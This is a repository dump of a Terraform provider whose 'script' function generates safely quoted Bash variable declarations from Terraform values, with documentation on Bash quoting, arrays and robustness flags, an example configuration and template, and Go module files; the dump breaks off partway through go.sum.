├── .gitignore ├── .go-version ├── .goreleaser.yml ├── LICENSE ├── README.md ├── docs └── index.md ├── example ├── .gitignore ├── .terraform.lock.hcl ├── README.md ├── example.sh.tmpl └── example.tf ├── go.mod ├── go.sum ├── internal └── bash │ ├── provider.go │ ├── script_function.go │ ├── script_function_test.go │ └── variables.go ├── main.go └── terraform-registry-manifest.json /.gitignore: -------------------------------------------------------------------------------- 1 | dist/* 2 | -------------------------------------------------------------------------------- /.go-version: -------------------------------------------------------------------------------- 1 | 1.22.1 2 | -------------------------------------------------------------------------------- /.goreleaser.yml: -------------------------------------------------------------------------------- 1 | builds: 2 | - env: 3 | - CGO_ENABLED=0 4 | mod_timestamp: '{{ .CommitTimestamp }}' 5 | flags: 6 | - -trimpath 7 | ldflags: 8 | - '-s -w -X main.version={{.Version}} -X main.commit={{.Commit}}' 9 | goos: 10 | - windows 11 | - linux 12 | - darwin 13 | goarch: 14 | - amd64 15 | - arm64 16 | binary: '{{ .ProjectName }}_v{{ .Version }}' 17 | archives: 18 | - format: zip 19 | name_template: '{{ .ProjectName }}_{{ .Version }}_{{ .Os }}_{{ .Arch }}' 20 | checksum: 21 | extra_files: 22 | - glob: 'terraform-registry-manifest.json' 23 | name_template: '{{ .ProjectName }}_{{ .Version }}_manifest.json' 24 | name_template: '{{ .ProjectName }}_{{ .Version }}_SHA256SUMS' 25 | algorithm: sha256 26 | signs: 27 | - artifacts: checksum 28 | args: 29 | - "--batch" 30 | - "--local-user" 31 | - "{{ .Env.GPG_FINGERPRINT }}" # set this environment variable for your signing key 32 | - "--output" 33 | - "${signature}" 34 | - "--detach-sign" 35 | - "${artifact}" 36 | release: 37 | extra_files: 38 | - glob: 'terraform-registry-manifest.json' 39 | name_template: '{{ .ProjectName }}_{{ .Version }}_manifest.json' 40 | draft: true 41 | changelog: 42 | skip: true 43 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021-2024 Martin Atkins 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | docs/index.md -------------------------------------------------------------------------------- /docs/index.md: -------------------------------------------------------------------------------- 1 | # Terraform Bash Provider 2 | 3 | This is a Terraform utility provider which aims to robustly generate Bash 4 | scripts which refer to data that originated in Terraform. 5 | 6 | HashiCorp Terraform introduced provider-contributed functions in Terraform v1.8, 7 | so this provider is not useful in earlier versions. 8 | 9 | When gluing other software into Terraform it's common to generate little shell 10 | snippets using Terraform's template language, such as when passing some shell 11 | commands to CloudInit installed on an AWS EC2 instance using `user_data`: 12 | 13 | ```hcl 14 | user_data = <<-EOT 15 | /usr/local/bin/connect-to-something ${aws_eip.example.public_ip} 16 | EOT 17 | ``` 18 | 19 | This sort of thing is fine for simple cases where the generated script is 20 | relatively simple and where the templated arguments don't need any special 21 | escaping to be interpreted correctly by the shell, but sometimes these scripts 22 | get more complicated and start to refer to a variety of different data from 23 | the source Terraform configuration, which can lead to robustness issues 24 | related to incorrect quoting/escaping and difficulty dealing with list and 25 | map data, when relevant. 26 | 27 | The `script` function in this provider aims to help with those more complex 28 | cases by automatically generating properly-formatted Bash variable declarations 29 | from a subset of Terraform value types, prepending them to a bash script 30 | template you provide which can then make use of those variables. 31 | 32 | ```hcl 33 | terraform { 34 | required_providers { 35 | bash = { 36 | source = "apparentlymart/bash" 37 | } 38 | } 39 | } 40 | 41 | resource "aws_instance" "example" { 42 | # ... 43 | user_data = provider::bash::script(file("${path.module}/example.sh.tmpl"), { 44 | something_ip = aws_eip.example.public_ip 45 | device_names = tolist(aws_volume_attachment.example[*].device_name) 46 | }) 47 | } 48 | ``` 49 | 50 | Inside `example.sh.tmpl` you can write a Bash script which assumes that 51 | variables `something_ip` and `device_names` are predeclared: 52 | 53 | ```bash 54 | #!/bin/bash 55 | 56 | set -efuo pipefail 57 | 58 | /usr/local/bin/connect-to-something "${something_ip}" 59 | for device_name in "${device_names[@]}"; do 60 | /usr/local/bin/prepare-filesystem "/dev/${device_name}" 61 | done 62 | ``` 63 | 64 | The `script` function will automatically generate Bash `declare` commands to 65 | represent the `something_ip` and `device_names` variables and then prepend that 66 | into the source script to produce a result that should work as a self-contained 67 | bash script: 68 | 69 | ```bash 70 | #!/bin/bash 71 | declare -r something_ip='192.0.2.5' 72 | declare -ra device_names=('sdb' 'sdc') 73 | 74 | set -efuo pipefail 75 | 76 | /usr/local/bin/connect-to-something "${something_ip}" 77 | for device_name in "${device_names[@]}"; do 78 | /usr/local/bin/prepare-filesystem "/dev/${device_name}" 79 | done 80 | ``` 81 | 82 | Notice that the function doesn't actually _execute_ the script you provide. 83 | Instead, it returns a string containing the script source code, ready for you 84 | to pass to some other resource argument that expects to recieve the source code 85 | of a Bash script. 86 | 87 | Because this provider is aware of the syntax Bash expects for strings, integers, 88 | arrays of strings, and a associative arrays of strings, it can automatically 89 | generate suitable quoting and other punctuation to ensure that the values 90 | pass into Bash exactly as they appear in Terraform, without any need for 91 | manual escaping within the Terraform template language. 92 | 93 | All you need to do then is write a plain Bash script which uses standard Bash 94 | language features to interact with those generated declarations. This also means 95 | that your source script will be 100% direct Bash syntax, without any conflicts 96 | between Terraform's interpolation syntax and Bash's interpolation syntax, if 97 | you load it from a separate file as shown in the examples above. 98 | 99 | ## Passing Values to Bash 100 | 101 | Bash's type system is more limited than Terraforms, and so the entries in your 102 | `variables` argument must each be of one of the following Terraform types: 103 | 104 | * `string`: The most common situation, passing a single string value into the 105 | script, often to interpolate directly into a command line. 106 | * `number`: Becomes an integer value in Bash, which you can then use for 107 | arithmetic. Bash only supports whole numbers, so you can't pass fractional 108 | values into your script. 109 | * `list(string)`: Becomes an indexed array of strings in Bash. Terraform has 110 | a few different sequence types that can convert to a list of strings, so 111 | you may need to use [`tolist`](https://www.terraform.io/docs/language/functions/tolist.html) 112 | to ensure your value is actually a list. 113 | * `map(string)`: Becomes an associative array of strings in Bash. Terraform has 114 | both object types and map types that are similar but not equivalent, so you 115 | may need to use [`tomap`](https://www.terraform.io/docs/language/functions/tomap.html) 116 | to ensure your value is actually a map. 117 | 118 | Values of any other type in `variables` will cause an error message. 119 | 120 | ## Using Values in Bash 121 | 122 | The `script` function ensures that all of the variables you define will be 123 | declared correctly to avoid escaping and quoting issues, but you must 124 | also ensure that you use those variables correctly elsewhere in the script 125 | to avoid Bash misinterpreting how you intend the value to be used. 126 | 127 | This can get a similar effect as interpolating literal values directly into the 128 | generated Bash script using Terraform's template language, but with the 129 | advantage that it's Bash itself interpreting the dynamic values, and so 130 | in more complex scripts you can use the `if`, `case`, and `for` statements to 131 | select different code paths depending on those values. 132 | 133 | The following sections show some examples of common patterns that might arise 134 | in shell scripts generated using this provider. This is not a full reference on 135 | Bash syntax though; see [the Bash Reference Manual](https://www.gnu.org/software/bash/manual/bash.html) 136 | for all of the details. 137 | 138 | ### String Interpolation 139 | 140 | When you refer to a string variable for interpolation, be sure to always 141 | place the interpolation in quotes to ensure that Bash won't interpret any 142 | spaces in the value as argument separators: 143 | 144 | ```bash 145 | # Just a single variable alone 146 | echo "${foo}" 147 | 148 | # A mixture of literal characters and variables in a single pair of quotes, 149 | # interpreted all as one argument by Bash. 150 | echo "The value is ${foo}!" 151 | ``` 152 | 153 | If you are using a variable in the first argument position of a command, or in 154 | some other place in a more complex command where options are expected, you may 155 | need to take some extra care to avoid certain values being misinterpreted by 156 | the target command as a command line option or flag. The syntax for this 157 | varies depending on which command you are running, but a typical solution for 158 | programs that use the GNU options style is to use the special option terminator 159 | argument `--`, which has no direct meaning itself but forces the remaining 160 | arguments to not be interpreted as options: 161 | 162 | ```bash 163 | ls -- "${dir}" 164 | ``` 165 | 166 | Without the extra `--` prefix here, a `dir` value that starts with `-` would 167 | be misinterpreted as an option rather than as a path to list. 168 | 169 | In many situations you can alternatively write `$dir` instead of `${dir}`, with 170 | the same effect. The braced version has the advantage that you can write other 171 | literal tokens around it without fear that they'll be understood as part of 172 | the interpolation. Consider that writing `$dir_foo` would be understood like 173 | `${dir_foo}` rather than `${dir}_foo`. For that reason, it can be good to 174 | standardize on using the braced form for human readability. 175 | 176 | ### Integer Arithmetic 177 | 178 | When you pass a whole number into Bash, in many contexts it'll behave just like 179 | a string containing a decimal representation of the number, but you can also 180 | use it for arithmetic using the special `$(( ... ))` arithmetic syntax: 181 | 182 | ```bash 183 | echo "${num} * ${num} = $(( num * num ))" 184 | ``` 185 | 186 | You can also use number values as indexes into an indexed array, as we'll see 187 | in a later section. 188 | 189 | ### Conditional branches with `if` and `case` 190 | 191 | Because Bash itself is interpreting the values, rather than Terraform's 192 | template language, your script can potentially make dynamic decisions based on 193 | the values using an `if` statement. 194 | 195 | A simple example of this might be to take a particular action only if a 196 | necessary variable has been set to a non-empty value: 197 | 198 | ```bash 199 | if [ -n "${audit_host}" ]; then 200 | /usr/local/bin/send-audit -- "${audit_host}" 201 | fi 202 | ``` 203 | 204 | The `-n` operator tests whether the argument is a non-empty string. It's best 205 | to always write the variable to be tested in quotes, because that ensures 206 | the result will still be valid syntax if the variable contains spaces. 207 | 208 | You can also test equality or inequality with a particular other value: 209 | 210 | ```bash 211 | if [ "${validation_mode}" == "strict" ]; then 212 | /usr/local/bin/strict-validate 213 | fi 214 | ``` 215 | 216 | The `==` and `!=` operators represent string equality or inequality 217 | respectively. 218 | 219 | A more powerful conditional statement is `case`, which allows you to 220 | pattern-match against a value using the usual Bash "globbing" syntax: 221 | 222 | ```bash 223 | case "${validation_mode}" in 224 | strict) 225 | /usr/local/bin/strict-validate 226 | custom-*) 227 | # Any string that starts with "custom-" 228 | /usr/local/bin/custom-validate "${validation_mode}" 229 | *) 230 | # Default case for anything that doesn't match the above rules. 231 | >&2 echo "Invalid validation mode ${validation_mode}" 232 | exit 1 233 | esac 234 | ``` 235 | 236 | ### Indexing and Iterating Over Indexed Arrays 237 | 238 | An indexed array in Bash is similar to a Terraform list in that it's an ordered 239 | sequence of values, each of which has an index number counting up from zero. 240 | 241 | You can access a single element of an array by providing the index in square 242 | brackets, as in the following examples: 243 | 244 | ```bash 245 | # A hard-coded index 246 | echo "The first item is ${example[0]}" 247 | 248 | # A dynamic index from a variable 249 | echo "Item ${index} is ${example[$index]}" 250 | ``` 251 | 252 | More commonly though, we want to iterate over the elements of an array and run 253 | one or more commands for each of them. We can do that using the Bash `for` 254 | statement, using the special syntax `[@]` to indicate that we want to visit 255 | one array element at a time: 256 | 257 | ```bash 258 | for name in "${names[@]}"; do 259 | echo "Hello ${name}!" 260 | done 261 | ``` 262 | 263 | Notice that again we should write the `${names[@]}` interpolation in quotes to 264 | ensure that Bash will take each element as a single value, even if it happens 265 | to contain spaces. The quotes here are applied to each element in turn, even 266 | though it might seem like this would cause the entire array to be interpreted 267 | as a single quoted value. 268 | 269 | ## Indexing and Iterating Over Associative Arrays 270 | 271 | An associative array is similar to a Terraform map, in that it's a lookup 272 | table of values where each value has an associated string key. 273 | 274 | The index syntax for associative arrays is similar to indexed arrays except 275 | that the key will be a string key instead of an integer: 276 | 277 | ```bash 278 | # A hard-coded key 279 | echo "The foo item is ${example["foo"]}" 280 | 281 | # A dynamic key from another variable 282 | echo "Item ${key} is ${example["${key}"]}" 283 | ``` 284 | 285 | We can also iterate over elements of an associative array. The same 286 | `${array[@]}` syntax we saw for indexed arrays will work, but it'll provide 287 | both the key and the value to each `for` iteration. If we use `${!array[@]}` 288 | instead (note that extra exclaimation mark) then we can iterate over just 289 | the keys, which we can in turn use with indexing to get the values: 290 | 291 | ``` 292 | for k in "${!instance_ids[@]}"; do 293 | echo "Instance ${k} has id ${instance_ids["$k"]}" 294 | done 295 | ``` 296 | 297 | ## The Interpreter Line 298 | 299 | On Unix systems there is a convention that a script file may start with a 300 | special line with the prefix `#!`, followed by another program that can 301 | interpret the script. If you include such a line and then ensure that your 302 | script is written with the executable permission then you can run your 303 | script directly as a program, rather than having to pass it as an argument 304 | to `bash` yourself: 305 | 306 | ```bash 307 | #!/bin/bash 308 | 309 | # (the rest of your script here) 310 | ``` 311 | 312 | Although `bash_script` typically appends your provided script to its generated 313 | variable declarations, it has a special case to detect an interpreter line 314 | as shown above and make sure that remains as the first line in the result, 315 | so that you can use the resulting string as an executable script. 316 | 317 | ## Other Bash Robustness Tips 318 | 319 | By default Bash is very liberal in how it will interpret your scripting 320 | commands, which can make it hard to debug mistakes you might make. For example, 321 | if you declare a variable called `foo` but make a typo as `${fo}` then by 322 | default Bash will replace that interpolation with an empty string, rather than 323 | returning an error. 324 | 325 | You can override that behavior and ask Bash to generate an explicit error for 326 | undefined references by setting the option `-u`. You can declare that within 327 | your script by using the `set` command as one of the first commands: 328 | 329 | ```bash 330 | set -u 331 | ``` 332 | 333 | Another common problem is that by default Bash will react to an error in an 334 | intermediate command by continuing on regardless. That can be bothersome if 335 | a later command relies on the result of an earlier one. You can use the 336 | `-e` option to ask Bash to exit whenever a command encounters an error. 337 | 338 | The `-e` option only applies to terminal commands, though. If you are using 339 | more complex scripting features such as piping the output from one command 340 | into another then a failure further up the pipeline will not fail the overall 341 | pipeline by default. You can override that using the `-o pipefail` option. 342 | 343 | Finally, although this provider generates the original variable values using 344 | single-quoted strings to avoid interpretation as metacharacters, by default 345 | Bash will expand "glob" patterns after interpolating a string that contains 346 | the glob pattern characters. You can force Bash to take these values literally 347 | by disabling automatic globbing using the `-f` option. 348 | 349 | Putting those all together we can make a boilerplate `set` statement that can 350 | be useful to include in all scripts to ensure that they'll fail promptly in the 351 | case of various common scripting mistakes: 352 | 353 | ``` 354 | set -efuo pipefail 355 | ``` 356 | -------------------------------------------------------------------------------- /example/.gitignore: -------------------------------------------------------------------------------- 1 | .terraform/* 2 | example.sh 3 | terraform.tfstate* 4 | -------------------------------------------------------------------------------- /example/.terraform.lock.hcl: -------------------------------------------------------------------------------- 1 | # This file is maintained automatically by "terraform init". 2 | # Manual edits may be lost in future updates. 3 | 4 | provider "registry.terraform.io/hashicorp/local" { 5 | version = "2.4.1" 6 | constraints = "~> 2.4.1" 7 | hashes = [ 8 | "h1:FzraUapGrJoH3ZOWiUT2m6QpZAD+HmU+JmqZgM4/o2Y=", 9 | "zh:244b445bf34ddbd167731cc6c6b95bbed231dc4493f8cc34bd6850cfe1f78528", 10 | "zh:3c330bdb626123228a0d1b1daa6c741b4d5d484ab1c7ae5d2f48d4c9885cc5e9", 11 | "zh:5ff5f9b791ddd7557e815449173f2db38d338e674d2d91800ac6e6d808de1d1d", 12 | "zh:70206147104f4bf26ae67d730c995772f85bf23e28c2c2e7612c74f4dae3c46f", 13 | "zh:75029676993accd6bef933c196b2fad51a9ec8a69a847dbbe96ec8ebf7926cdc", 14 | "zh:78d5eefdd9e494defcb3c68d282b8f96630502cac21d1ea161f53cfe9bb483b3", 15 | "zh:7d48d5999fe1fcdae9295a7c3448ac1541f5a24c474bd82df6d4fa3732483f2b", 16 | "zh:b766b38b027f0f84028244d1c2f990431a37d4fc3ac645962924554016507e77", 17 | "zh:bfc7ad301dada204cf51c59d8bd6a9a87de5fddb42190b4d6ba157d6e08a1f10", 18 | "zh:c902b527702a8c5e2c25a6637d07bbb1690cb6c1e63917a5f6dc460efd18d43f", 19 | "zh:d68ae0e1070cf429c46586bc87580c3ed113f76241da2b6e4f1a8348126b3c46", 20 | "zh:f4903fd89f7c92a346ae9e666c2d0b6884c4474ae109e9b4bd15e7efaa4bfc29", 21 | ] 22 | } 23 | -------------------------------------------------------------------------------- /example/README.md: -------------------------------------------------------------------------------- 1 | # `bash_script` example 2 | 3 | This directory contains a simple but contrived Terraform configuration that 4 | uses the `bash_script` data source to generate a file `example.sh`, which you 5 | can then execute using Bash to see how it makes use of some data that 6 | originated in the Terraform configuration. 7 | 8 | This example includes a string, an integer, an indexed array, and an 9 | associative array example, and so the source script template (in 10 | `example.sh.tmpl`) also doubles as a simple example of some common ways to 11 | interact with those data types within the Bash language. 12 | -------------------------------------------------------------------------------- /example/example.sh.tmpl: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # These settings improve robustness: 4 | # -e halt immediately if any command fails 5 | # -f don't interpret glob syntax (in case any of the given variables include glob punctuation) 6 | # -u referring to an undeclared variable is an error 7 | # -o pipefail halt immediately if an intermediate command in a pipeline fails 8 | set -efuo pipefail 9 | 10 | # This is a very contrived script just to show how you might interact with 11 | # variables of each of the types that the bash_script data source can pass 12 | # into a bash script. 13 | 14 | # Use $names[@] to access each of the elements of the names array in turn 15 | for name in "${names[@]}"; do 16 | # This also uses "greeting", which is a simple string variable passed in 17 | # from Terraform. 18 | echo "${greeting} ${name}!" 19 | done 20 | 21 | # Bash's $(( )) syntax allows you to do arithmetic, possibly working with whole 22 | # number values passed in from Terraform. 23 | echo "${num} * ${num} = $((num * num))" 24 | 25 | # For associative arrays, iterating over just $name[@] will visit each 26 | # element as a pair of both key and value, which might be useful if you intend 27 | # to pass them as two consecutive arguments to some other command, but the 28 | # ${!name[@]} syntax (note that extra exclamation point) limits to just 29 | # iterating over the keys, which you can then use to look up values so you 30 | # can use the keys and values separately as needed. 31 | for k in "${!ids[@]}"; do 32 | echo "Instance ${k} has id ${ids[$k]}" 33 | done 34 | -------------------------------------------------------------------------------- /example/example.tf: -------------------------------------------------------------------------------- 1 | terraform { 2 | required_providers { 3 | bash = { 4 | source = "apparentlymart/bash" 5 | } 6 | local = { 7 | source = "hashicorp/local" 8 | version = "~> 2.4.1" 9 | } 10 | } 11 | } 12 | 13 | resource "local_file" "example" { 14 | filename = "${path.module}/example.sh" 15 | content = provider::bash::script(file("${path.module}/example.sh.tmpl"), { 16 | greeting = "Hello" 17 | names = tolist(["Medhi", "Aurynn", "Kat", "Ariel"]) 18 | num = 3 19 | ids = tomap({ 20 | a = "i-123" 21 | b = "i-456" 22 | c = "i-789" 23 | }) 24 | }) 25 | } 26 | 27 | output "output_filename" { 28 | value = local_file.example.filename 29 | } 30 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/amusedsolilo/terraform-provider-bash 2 | 3 | go 1.22 4 | 5 | require ( 6 | github.com/apparentlymart/go-tf-func-provider v0.0.0-20240303235123-0047ace1f889 7 | github.com/zclconf/go-cty v1.14.3 8 | ) 9 | 10 | require ( 11 | github.com/apparentlymart/go-ctxenv v1.0.0 // indirect 12 | github.com/apparentlymart/go-shquot v0.0.1 // indirect 13 | github.com/apparentlymart/go-textseg/v15 v15.0.0 // indirect 14 | github.com/golang/protobuf v1.5.3 // indirect 15 | github.com/stretchr/testify v1.7.0 // indirect 16 | github.com/vmihailenco/msgpack/v5 v5.3.5 // indirect 17 | github.com/vmihailenco/tagparser/v2 v2.0.0 // indirect 18 | go.rpcplugin.org/rpcplugin v0.3.0 // indirect 19 | golang.org/x/net v0.20.0 // indirect 20 | golang.org/x/sys v0.16.0 // indirect 21 | golang.org/x/text v0.14.0 // indirect 22 | google.golang.org/genproto/googleapis/rpc v0.0.0-20240123012728-ef4313101c80 // indirect 23 | google.golang.org/grpc v1.62.0 // indirect 24 | google.golang.org/protobuf v1.32.0 // indirect 25 | gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b // indirect 26 | ) 27 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= 2 | github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= 3 | github.com/apparentlymart/go-ctxenv v1.0.0 h1:bsRTyED+PEcifljxBd/WhXRk/BNhgCigGYGZ0pVP4lM= 4 | github.com/apparentlymart/go-ctxenv v1.0.0/go.mod h1:Fxo441RKBr/C5JmbNRwdMSAUXs7k8M9ndNHBShdNCE4= 5 | github.com/apparentlymart/go-shquot v0.0.1 h1:MGV8lwxF4zw75lN7e0MGs7o6AFYn7L6AZaExUpLh0Mo= 6 | github.com/apparentlymart/go-shquot v0.0.1/go.mod h1:lw58XsE5IgUXZ9h0cxnypdx31p9mPFIVEQ9P3c7MlrU= 7 | github.com/apparentlymart/go-textseg/v15 v15.0.0 h1:uYvfpb3DyLSCGWnctWKGj857c6ew1u1fNQOlOtuGxQY= 8 | github.com/apparentlymart/go-textseg/v15 v15.0.0/go.mod h1:K8XmNZdhEBkdlyDdvbmmsvpAG721bKi0joRfFdHIWJ4= 9 | github.com/apparentlymart/go-tf-func-provider v0.0.0-20240303235123-0047ace1f889 h1:w2nZBBQpQ38K+91b7ZVZQPWw1RCSbGKOVcThEe2eRiA= 10 | github.com/apparentlymart/go-tf-func-provider v0.0.0-20240303235123-0047ace1f889/go.mod h1:nzFgJFtV08UAoehIVZcQzNzKzHBORgm2j6kX4UbDy/I= 11 | github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= 12 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 13 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 14 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 15 | github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= 16 | github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= 17 | github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= 18 | github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= 19 | github.com/golang/protobuf v1.5.3 h1:KhyjKVUg7Usr/dYsdSqoFveMYd5ko72D+zANwlG1mmg= 20 | github.com/golang/protobuf v1.5.3/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= 21 | github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= 22 | github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= 23 | github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= 24 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 25 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 26 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 27 | github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 28 | github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY= 29 | github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 30 | github.com/vmihailenco/msgpack/v5 v5.3.5 h1:5gO0H1iULLWGhs2H5tbAHIZTV8/cYafcFOr9znI5mJU= 31 | github.com/vmihailenco/msgpack/v5 v5.3.5/go.mod h1:7xyJ9e+0+9SaZT0Wt1RGleJXzli6Q/V5KbhBonMG9jc= 32 | github.com/vmihailenco/tagparser/v2 v2.0.0 h1:y09buUbR+b5aycVFQs/g70pqKVZNBmxwAhO7/IwNM9g= 33 | github.com/vmihailenco/tagparser/v2 v2.0.0/go.mod h1:Wri+At7QHww0WTrCBeu4J6bNtoV6mEfg5OIWRZA9qds= 34 | github.com/zclconf/go-cty v1.14.3 h1:1JXy1XroaGrzZuG6X9dt7HL6s9AwbY+l4UNL8o5B6ho= 35 | github.com/zclconf/go-cty v1.14.3/go.mod h1:VvMs5i0vgZdhYawQNq5kePSpLAoz8u1xvZgrPIxfnZE= 36 | go.rpcplugin.org/rpcplugin v0.3.0 h1:vVNTbrHCJUqSk4TUX6cM9R47Dib/o2CEjt/h+VVTkjU= 37 | go.rpcplugin.org/rpcplugin v0.3.0/go.mod h1:f5O2vlY4U6xkCVylHp7MQDUW2n5KdVA/sqyaYLtXRrA= 38 | golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= 39 | golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= 40 | golang.org/x/net v0.20.0 h1:aCL9BSgETF1k+blQaYUBx9hJ9LOGP3gAVemcZlf1Kpo= 41 | golang.org/x/net v0.20.0/go.mod h1:z8BVo6PvndSri0LbOE3hAn0apkU+1YvI6E70E9jsnvY= 42 | golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= 43 | golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 44 | golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 45 | golang.org/x/sys v0.16.0 h1:xWw16ngr6ZMtmxDyKyIgsE93KNKz5HKmMa3b8ALHidU= 46 | golang.org/x/sys v0.16.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 47 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 48 | golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ= 49 | golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= 50 | golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 51 | golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 52 | google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= 53 | google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= 54 | google.golang.org/genproto/googleapis/rpc v0.0.0-20240123012728-ef4313101c80 h1:AjyfHzEPEFp/NpvfN5g+KDla3EMojjhRVZc1i7cj+oM= 55 | google.golang.org/genproto/googleapis/rpc v0.0.0-20240123012728-ef4313101c80/go.mod h1:PAREbraiVEVGVdTZsVWjSbbTtSyGbAgIIvni8a8CD5s= 56 | google.golang.org/grpc v1.19.1/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= 57 | google.golang.org/grpc v1.62.0 h1:HQKZ/fa1bXkX1oFOvSjmZEUL8wLSaZTjCcLAlmZRtdk= 58 | google.golang.org/grpc v1.62.0/go.mod h1:IWTG0VlJLCh1SkC58F7np9ka9mx/WNkjl4PGJaiq+QE= 59 | google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= 60 | google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= 61 | google.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= 62 | google.golang.org/protobuf v1.32.0 h1:pPC6BG5ex8PDFnkbrGU3EixyhKcQ2aDuBS36lqK/C7I= 63 | google.golang.org/protobuf v1.32.0/go.mod h1:c6P6GXX6sHbq/GpV6MGZEdwhWPcYBgnhAHhKbcUYpos= 64 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod 